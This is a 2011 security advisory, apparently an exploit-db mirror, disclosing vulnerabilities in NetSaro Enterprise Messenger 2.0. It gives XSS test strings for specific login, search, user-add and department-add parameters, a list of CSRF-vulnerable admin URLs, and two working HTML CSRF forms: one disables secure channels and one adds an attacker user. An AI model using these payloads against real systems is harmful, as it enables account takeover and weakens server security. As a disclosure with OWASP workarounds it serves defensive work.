NetSaro Enterprise Messenger 2.0 – Multiple Vulnerabilities

  • 作者: Narendra Shinde
    日期: 2011-09-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17766/
  • ===================================================
    Secur-I Research Group Security Advisory [ SV-2011-004]
    ===================================================
    Title: NetSaro Enterprise Messengerv2.0MultipleVulnerabilities
    Product: Enterprise Messenger Server
    Vulnerable version: 2.0(Other versions could also be affected)
    Fixed version: N/A
    Impact: Medium
    Homepage: http://netsaro.com/Downloads.aspx
    Vulnerability ID: SV-2011-004
    Found: 2011-08-26
    By: Narendra Shinde
    Secur-I Research Group
    http://securview.com/
    ===================================================
    
    Vendor description:
    ---------------------------
    NetSaro enables you to create a private and secure instant messaging network, based on client-server architecture. You can send and receive Message, Voice Message, File or Screenshot or start multi-user Chat Sessions. System access requires a valid User Name and Password. You may want to log messages between your users for auditing purposes. Client user interface integrates smoothly into the desktop.
    
    Source:http://netsaro.com/
    
    Vulnerability Information:
    -----------------------------------
    
    1) Multiple Cross Site Scripting vulnerabilities
    
    Vulnerability Information:
    -------------------------------------
    Class: Improper Neutralization of Input during Web Page Generation('Cross-site Scripting') [CWE-79]
    Impact: Insertion and Execution of malicious scripts in user browser
    Remotely Exploitable: Yes
    Authentication Required: Yes
    User interaction Required : Yes
    
    
    Vulnerability overview/description:
    -------------------------------------------------
    NetSaro Enterprise Messenger Server v2.0is prone to multiple cross-site scripting vulnerabilities as the user-supplied input received via certainparameters is not properly sanitized. This can be exploited by submitting specially crafted input to the affected software.Successful exploitation could allow the attacker to execute arbitrary script code within the user's browser session in the security context of the targeted site. The attacker could gain access to user's cookies (including authentication cookies), if any, associated with the targeted site, access recently submitted data by the target user via web forms, or take actions on the site masquerading as the target user.
    
    
    a) Non �Persistent Cross Site Scripting
    
    URL:http://VulnAppIP:4990/login.nsp
    Vulnerable Parameter : User Name
    Demo string used: "></script><script>alert("XSS")</script>
    
    URL : http://VulnAppIP:4990/user-search.nsp
    Vulnerable Parameter : Search box
    Test string used : "><script>alert("XSS")</script>
    
    URL : http://VulnerableAppIP:4990/license-add.nsp
    Vulnerable parameters :Company , Quantity
    Test string: �><script>alert(�XSS�)</script>
    
    URL:http://VulnAppIP:4990/archive-announcement.nsp?FromUser= "><script>alert("xss")</script>
    URL: http://VulnAppIP:4990/archive-message.nsp?FromUsers= "><script>alert("xss")</script>
    
    
    b) Persistent Cross Site Scripting
    
    URL : http://VulnerableAppIP:4990/department-add.nsp
    Vulnerable Parameters:Name, Description
    Test string used:�><img src=0 onerror=alert(0)>
    
    URL: http://VulnerableAppIP:4990/user-add.nsp
    Vulnerable Parameters: User Name, First Name , Last name , Job Title ,Email
    Test string used: "><script>alert("XSS")</script>
    
    URL: http://VulnerableAppIP:4990/department-add.nsp
    Vulnerable Parameter : Name , Description
    Test string : �><script>alert(�XSS�)</script>
    
    Workaround:
    -----------------
    Properchecks on all user input.
    For more details please refer:
    https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
    
    
    2)Multiple CSRF vulnerabilities
    
    Vulnerability Information:
    ------------------------------------
    Class: Cross-Site Request Forgery (CSRF) [CWE-352]
    Impact: Unintentional changes in application.
    Remotely Exploitable: Yes
    Authentication Required: No
    User interaction Required : Yes
    CVE Name: N/A
    
    Vulnerability overview/description:
    --------------------------------------------------
    The NetSaro Enterprise Messenger Server Administration Console application is vulnerable to cross-site request forgery, caused by improper validation of user supplied input by Messenger Server Administration Console. By persuading an authenticated user to visit a malicious website a remote attacker could senda malformed HTTP to editapplications settings.
    
    The followingURL's are found to be vulnerable :
    
    http://VulnerableAppIP:4990/server-security.nsp
    http://VulnerableAppIP:4990/server-login.nsp
    http://VulnerableAppIP:4990/server-offline.nsp
    http://VulnerableAppIP:4990/server-archive.nsp
    http://VulnerableAppIP:4990/server-properties.nsp?server=webadmin
    http://VulnerableAppIP:4990/server-properties.nsp?server=webadmin_ssl
    http://VulnerableAppIP:4990/server-properties.nsp?server=messenger
    http://VulnerableAppIP:4990/server-properties.nsp?server=messenger_ssl
    http://VulnerableAppIP:4990/server-properties.nsp?server=gateway
    http://VulnerableAppIP:4990/server-properties.nsp?server=gateway_ssl
    http://VulnerableAppIP:4990/server-edit.nsp?server=webadmin
    http://VulnerableAppIP:4990/server-edit.nsp?server=webadmin_ssl
    http://VulnerableAppIP:4990/server-edit.nsp?server=messenger
    http://VulnerableAppIP:4990/server-edit.nsp?server=messenger_ssl
    http://VulnerableAppIP:4990/server-edit.nsp?server=gateway
    http://VulnerableAppIP:4990/server-edit.nsp?server=gateway_ssl
    http://VulnerableAppIP:4990/user-add.nsp
    http://VulnerableAppIP:4990/department-add.nsp
    http://VulnerableAppIP:4990/connection-sendannouncement.nsp
    
    
    Proof of Code(POC) 1:
    
    To send Messenger, Gateway and Web administration connections on Unsecured channel.
    
    <html>
    <body>
    <form action="http://VulnerableAppIP:4990/server-security.nsp" method="post">
    <input id="rb101" name="secureWebAdmin" type="hidden" value="false" checked>
    <input id="rb202" name="secureMessenger" type="hidden" value="false" checked>
    <input id="rb302" name="secureGateway" type="hidden" value="false" checked>
    <input type="hidden" name="postback" value="postback">
    <input type="submit" name="save" value="Click ME :D">
    </form>
    </body>
    </html>
    
    
    Proof of Code(POC) 2:
    To add user in application.
    
    <html>
    <body>
    <form action="http://VulnerableAppIP:4990/user-add.nsp" method="post">
    <input name="username" type="hidden" value="ATTACK">
    <input name="firstname" type="hidden" value="ATTACK"></td>
    <input name="lastname" type="hidden" value="ATTACK"></td>
    <input type="hidden" name="department" type="hidden" value="_Default">
    <input name="jobtitle" type="hidden" value="ATTACKER"></td>
    <input name="email" type="hidden" value="ATTACKER@ATTACK.com">
    <input type="hidden" name="authentication"value="database">
    <input name="password" type="hidden" value="PASS"></td>
    <input name="passwordConfirm" type="hidden" value="PASS"></td>
    <imputname="account" id="account" value="Enabled">
    <input type="hidden" name="postback" value="postback">
    <input name="add" type="submit" id="add" value="Click Me :D">
    </form>
    </body>
    </html>
    
    
    Workaround:
    ------------------
    For more details please refer:
    https://www.owasp.org/index.php/Cross- Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
    
    Timeline:
    ---------
    Vulnerability Found : 2011-08-28
    Reported to Vendor : 2011-08-30
    Confirmation from vendor : NO REPLY
    Public Disclosure : 2011-08-31
    
    
    
    Thanks & Regards,
    Narendra.
    
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